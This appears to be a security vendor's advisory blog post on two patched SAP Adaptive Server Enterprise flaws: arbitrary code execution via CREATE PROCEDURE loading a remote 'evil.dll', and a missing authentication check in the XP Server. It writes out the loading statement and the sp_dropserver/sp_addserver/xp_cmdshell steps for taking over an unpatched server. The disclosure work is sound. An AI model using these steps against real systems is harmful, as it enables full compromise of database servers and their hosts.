Trustwave's 2024 Retail Report Series Highlights Alarming E-Commerce Threats and Growing Fraud Against Retailers. Learn More

Trustwave's 2024 Retail Report Series Highlights Alarming E-Commerce Threats and Growing Fraud Against Retailers. Learn More

Services
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Security
Unlock the full power of Microsoft Security
Offensive Security
Solutions to maximize your security ROI
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

About Two SAP Adaptive Server Enterprise (ASE) Extended Procedure Subsystem Vulnerabilities

Recently SAP patched two important security issues in Adaptive Server Enterprise (ASE). One is arbitrary code execution via the CREATE PROCEDURE statement. It turns out that any valid database user granted the CREATE PROCEDURE privilege can trivially run arbitrary code in the server's process context by creating wrappers around functions exposed by libraries accessible to the server process. This completely bypasses restrictions imposed by the extended procedure registration mechanism via the sp_addextendedproc system stored procedure which requires System Administrator access.

Consider this example:

CREATE PROCEDURE RunMe AS EXTERNAL NAME "\\SERVER\PATH\evil.dll"
go

Executed on a Windows version of ASE, this code will fetch the evil.dll from a specific remote box (which should be configured to allow access via SMB to everyone) and register it as a procedure within the current database. If the exported function named RunMe is defined in the evil.dll, a call as shown below will succeed and run that function:

EXECUTE RunMe
go

Essentially this will execute attacker-provided code in the XP server's process context. This results in a complete takeover of both the XP server and the database server because both servers run on the same machine under the same operating system accounts.

To fix the problem, SAP added restrictions on the path used to register external libraries.

Here is a quote from the EBF 24488 README for ASE 16.0 SP01 PL02 release:

XPserver Enhancements

 

...
    2. The DLL (dynamic link library) containing the code for the Extended
       Stored Procedure (ESP) must now be located in the 'esplib' subdirectory
       in the $SYBASE release tree as follows:
 
         $SYBASE/$SYBASE_ASE/esplib      (on unix)
 
         %SYBASE%\%SYBASE_ASE%\esplib    (on windows)
 
       Please create the above directory (with restricted permissions) if it
       doesn't already exist in your release tree. This is to ensure that only
       DLLs from a trusted source are loaded by the xpserver.
...

So now there is a restriction on where users can place extended stored procedure files (libraries), which should limit the attack surface significantly.

The other problem is missing authentication checks in the ASE XP Server component. Basically the XP Server responsible for extended procedures handling does not have any security in place on unpatched servers! The same problem affecting the Backup server component was reported by to SAP by Trustwave SpiderLabs and fixed almost two years ago (see SAP Note: 1927859 - Missing authentication check in SAP Sybase ASE).

So what's going on here? The database server communicates with the XP Server via RPC. When a client asks to run an extended procedure, the database server establishes a connection (using the TDS protocol, like a normal client would) to the XP Server and sends an RPC request. The authentication step is completely ignored there. So all an attacker needs to do to take over an unpatched XP Server is to use his own database server and run a series of commands on it:

  1. Drop existing XP Server definition:

    sp_dropserver LOCAL_XP
    go

  2. Add remote XP Server that will be attacked which will route all subsequent extended procedure invocations to the remote box (RPC):

    sp_addserver LOCAL_XP, RPCServer, REMOTE_XP
    go

  3. Add an entry to the interfaces file to resolve REMOTE_XP to XP Server being attacked.
  4. Set the xp_cmdshell context system configuration option to zero to turn off security in xp_cmdshell built-in extended procedure which will be used next.
  5. Run the xp_cmdshell to execute arbitrary OS commands!

Steps 3 and 4 could be changed of course to execute another extended stored procedure.

 

 

ABOUT TRUSTWAVE

Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo